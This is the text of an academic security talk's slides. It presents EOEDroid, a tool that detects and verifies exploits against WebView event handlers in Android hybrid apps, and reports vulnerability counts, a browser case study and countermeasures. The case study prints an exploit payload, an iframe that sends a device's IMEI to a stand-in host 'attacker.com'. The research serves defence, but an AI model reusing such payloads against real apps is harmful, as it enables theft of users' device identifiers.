Automated Generation of Event-Oriented Exploits in Android Hybrid Apps

Guangliang Yang, Jeff Huang, and Guofei Gu

*Secure Communication and Computer Systems Lab
Texas A&M University
In Android, the hybrid development approach is popular.

- The use of the embedded browser, known as "WebView".
- Rendering web content and running JavaScript code without leaving apps (i.e., hybrid apps).
- Reusing existing web code is popular.
- Easy to deploy.

Advantages:

- Easy to deploy.
- Reusing existing web code.
- Rendering web content and running JavaScript code without leaving apps (i.e., hybrid apps).
- The use of the embedded browser, known as "WebView".

In Android, the hybrid development approach is popular.
Event Handler: A unique WebView feature

- Through the event handler feature, developers can handle/customize web events.
- Changing web UI:
  - drawing web alert dialogs
- Supporting customized URL, such as:
  - `tel:800` -> making a call
- 94.2% apps use the event handler feature
Event Handler: A unique WebView feature

- Handling/Customizing web events via Event Handler

![Diagram showing WebView, Native (Java), Event Handler, HTML/JavaScript Code, and Web Event within a Hybrid App context.]

- Hybrid App
Event Handler: A unique WebView feature

- Handling/Customizing web events via Event Handler
Attacking Event Handlers

- Potential Attack#1: triggering an event handler with appropriate input
Attacking Event Handlers

- **Potential Attack #1**: triggering an event handler with appropriate input

```java
WebView shouldOverrideUrlLoading(WebView view, String url) {
    ...

    args = function1(c1, c2);
    loadUrl("javascript:\"mmsdk://c1.c2?args=...&callback=...\" + result);
}
```
Attacking Event Handlers

• Potential Attack#1: triggering an event handler with appropriate input

```html
<a href='mmsdk://c1.c2?args=...&callback=...'

```
Attacking Event Handlers

• Potential Attack#1: triggering an event handler with appropriate input

```java
WebView view = findViewById(R.id.webView);
view.loadUrl("javascript:hashmap(c1,c2)
result = function1(args);
loadUrl("javascript:callback(result + " + result + ")");
```

Implicit Flow
1. Recording audio
2. Using camera to take pictures
3. Leaking device ID
4. Attacking other apps using Intent
5. …
Attacking Event Handlers

- Potential Attack#1: triggering an event handler with appropriate input
Attacking Event Handlers

- **Potential Attack#1**: triggering an event handler with appropriate input
Attacking Event Handlers

- Potential Attack#1: triggering an event handler with appropriate input

![Diagram of Potential Attack#1](image)
Attacking Event Handlers

- **Potential Attack#1**: triggering an event handler with appropriate input
Attacking Event Handlers

- Potential Attack#1: triggering an event handler with appropriate input
Attacking Event Handlers

• Potential Attack#1: triggering an event handler with appropriate input
Attacking Event Handlers

• Potential Attack#2: Playing web events as “gadgets”
  • The target program state is $S_t$
  • State transitions: $[S_1 \rightarrow S_2 \rightarrow \ldots \rightarrow S_t]$
  • Web events triggering: $[E_1 \rightarrow E_2 \rightarrow \ldots \rightarrow E_t]$
Generalizing Attacks: Event Oriented Exploits (EOE)
Event Oriented Exploits

Detecting and verifying existing apps against EOE
Detecting and verifying apps against EOE

- Exiting techniques face significant challenges
  - Static analysis (AppIntent, IntelliDroid, TriggerScope, etc.)
    - False positives
      - lack of real data and context
    - False negatives
      - Java Reflection
      - Implicit flows
Detecting and verifying apps against EOE

• Recap ...

```java
WebView

<a href='mmsdk://c1.c2?args=...&callback=...'

Native

shouldOverrideUrlLoading(WebView view, String url) {

    function1 ← hashmap(c1. c2) Implicit Flow

}
Detecting and verifying apps against EOE

- Exiting techniques face significant challenges
  - Static analysis (AppIntent, IntelliDroid, TriggerScope, etc.)
    - False positives
      - Lack of real data and context
    - False negatives
      - Java Reflection
      - Implicit flows (Google Ads, etc.)
Detecting and verifying apps against EOE

Our Solution: EOEDroid
Our Solution: EOEDroid

1. Dynamic Symbolic Execution
2. Static backward analysis
3. Log analysis
Our Solution: EOEDroid

1. Dynamic Symbolic Execution
2. Static backward analysis
3. Log analysis
How does EOEDroid work?

Event Handler#2

Event Handler#1

Target
How does EOEDroid work?

Event Handler#2

Event Handler#1

Target
Our Solution: EOEDroid

1. Dynamic Symbolic Execution
2. Static backward analysis
3. Log analysis
How does EOEDroid work?

Event Handler#2

Event Handler#1

Target
How does EOEDroid work?

Event Handler#2 → Event Handler#1

Target
Our Solution: EOEDroid

1. Dynamic Symbolic Execution
2. Static backward analysis
3. Log analysis
Our Solution: EOEDroid

1. Dynamic Symbolic Execution
2. Static backward analysis
3. Log analysis
Phase 1: Event Handler Analysis

- Symbolic Execution
- Challenges
  - Path explosion
  - Discovering interesting paths
  - Unsupported Fork()
  - Keeping analysis contexts clean
    - Hooking external-content-writing
  - Android ICC: intent
    - Linking intent senders and receivers
  - Implicit Flows
    - Converting implicit flows to regular conditional statements
Our Solution: EOEDroid

1. Dynamic Symbolic Execution
2. Static backward analysis
3. Log analysis
Phase 2: Program State Analysis

- Event handler input generation
  - Computing path constraints
- Event handler execution order generation
  - Static backward analysis
Our Solution: EOEDroid

1. Dynamic Symbolic Execution
2. Static backward analysis
3. Log analysis
Phase 3: Exploit Code Generation

- Conducting the systematic study of event handler triggering code and constraints
  - Web events -> Native event handlers
  - Transferring data
  - Triggering constraints
Our Solution: EOEDroid

Recap ...

WebView

```html
<a href='mmsdk://c1.c2?args=...&callback=...'></a>
```

Native

```java
shouldOverrideUrlLoading(WebView view, String url) {
    ...
    loadUrl("javascript:" + callback + "( + result + ")");
}
```
Phase 3: Exploit Code Generation

- JavaScript Code Syntax Analysis
- Analyzing Abstracted Syntax Tree

Figure 6: AST of I + J
RESULTS / EVALUATION
Evaluation

• Dataset
  • 3,652 popular apps

• Testbed
  • Android 4.3 + Nexus 10

• Methodology
  • Monkey + Mitmproxy
Results

- 97 vulnerabilities
- 58 vulnerable apps
- Low false positives & false negatives
- Analysis time / per app: ~4 minutes

<table>
<thead>
<tr>
<th>Vulnerability Type</th>
<th>Number</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-Frame DOM Manipulation</td>
<td>2</td>
</tr>
<tr>
<td>Phishing</td>
<td>53</td>
</tr>
<tr>
<td>Sensitive Information Leakage</td>
<td>30</td>
</tr>
<tr>
<td>Local Resource Access</td>
<td>1</td>
</tr>
<tr>
<td>Intent Abuse</td>
<td>11</td>
</tr>
</tbody>
</table>

Table II: Vulnerabilities Found By EOEDroid
CASE STUDY
Case Study: Discovering a potential backdoor

• A high-profile browser (com.mx.xxxx)
  • 10 million downloads
• Using EOE to leverage a potential backdoor
  • Stealing IMEI
Case Study: Discovering a potential backdoor

```java
public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if (!flag) {
        //...
    } else {
        if (url.startsWith("http://") || url.startsWith("https://")) {
            //...
        } else if (url.startsWith("file://") || url.startsWith("content://")) {
            //...
        } else if (url.startsWith("mx")) {
            //...
        } else {
            if (url.contains("app_name")) {
                String tmpstr = url;
                // read imei from shared preference
                String i = PreferenceManager.
                        getDefaultSharedPreferences(this).getString("imei", "");
                tmpstr = tmpstr.replaceAll("%IMEI%", i);
                // send a Intent message containing tmpstr
                Intent intent = new Intent(...);
                intent.setData(Uri.parse(tmpstr));
                startActivity(intent);
                //...
Case Study: Discovering a potential backdoor

• Phase#1: applying symbolic execution to analyze each event handler

(1) InputUrl.startsWith("http://") == 0
(2) InputUrl.startsWith("https://") == 0
(3) InputUrl.startsWith("file://") == 0
(4) InputUrl.startsWith("content://") == 0
(5) InputUrl.startsWith("mx") == 0
(6) InputUrl.contains("app_name") == 1
(7) flag == 1
(8) InputUrl.contains("%IMEI%") == 1
public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if (!flag)
        ...
    else {
        if (url.startsWith("http://") || url.startsWith("https://")) ...
        else if (url.startsWith("file://")) || url.startsWith("content://")) ...
        else if (url.startsWith("mx")) ...
        else {
            if (url.contains("app_name")) {
                String tmpstr = url;
                // read imei from shared preference
                String i = PreferenceManager.getDefaultSharedPreferences(this).getString("imei", ");
                tmpstr = tmpstr.replaceAll("%IMEI%", i)
                // send a Intent message containing tmpstr
                Intent intent = new ...
                intent.setData(Uri.parse(tmpstr));
                startActivity(intent)
                ...
            }
        }
    }
}
Case Study: Discovering a potential backdoor

- Phase#2: applying static analysis to generate the required event handler execution order

```java
public void onPageFinished(WebView view, String url) {
    flag = true;
}
```
Case Study: Discovering a potential backdoor

- Phase#2: applying static analysis to generate the required event handler execution order:

  `onPageFinished() → shouldOverrideUrlLoading()`
Case Study: Discovering a potential backdoor

- Phase #3: Generating exploit code
  - onPageFinished()

1. `<script> window.location.reload(true); </script>`

2. `<iframe src="ftp://attacker.com/app_name?imei=%IMEI%"/>`
CONCLUSION
Conclusion

• Despite existing discussion, the event handler feature continues to be problematic in existing apps. In this paper, we discovered the event handler feature may cause serious consequences.

• We propose a novel vulnerability detection and verification tool (EOEDroid), and also verified our tool is accurate and effective.
Thanks!
Detecting and verifying apps against EOE

- Recap ...

**WebView**

```html
<a href='mmsdk://c1.c2?args=...&callback=...'

**Native**

```java
shouldOverrideUrlLoading(WebView view, String url) {

  function1 ← hashmap(c1. c2) // Implicit Flow

}
```
Phase 1: Event Handler Analysis

- Implicit Flows
  - Converting implicit flows to regular conditional statements
- Hashmap
  - \[ r = \text{hashmap}.get(k) \]
  - \[ [k_0, k_1, k_2, ..., k_n] \]
  - Conversion

```java
if (k.equals(k_0)) k = k_0;
else if (k.equals(k_1)) k = k_1;
...;
else if (k.equals(k_n)) k = k_n;
r = hashmap.get(k);
```
Phase 3: Exploit Code Generation

• Conducting the systematic study of event handler triggering code and constraints
  • Web events -> Native event handlers
  • Transferring data
  • Triggering constraints
• JavaScript Code Syntax Analysis
  • Analyzing Abstracted Syntax Tree

![Exploit Code Generation Diagram]

Figure 6: AST of $I + J$
Related Work

- NoFrak, MobileIFC, and Draco: extending same origin policy (SOP) to the native layer, or providing access control on event handlers
  - Hard to deploy
  - Hard to upgrade
  - Course-grained
- WIREframe and HybridGuard: providing policy enforcement
  - They only focus on JavaScript code.
  - They can be bypassed by EOE.
Countermeasure

- Using safe connection channel: HTTPS
- Checking the frame level and the origin information of the event handler caller
- Upgrade WebView to the newest version
  - Providing new APIs with rich information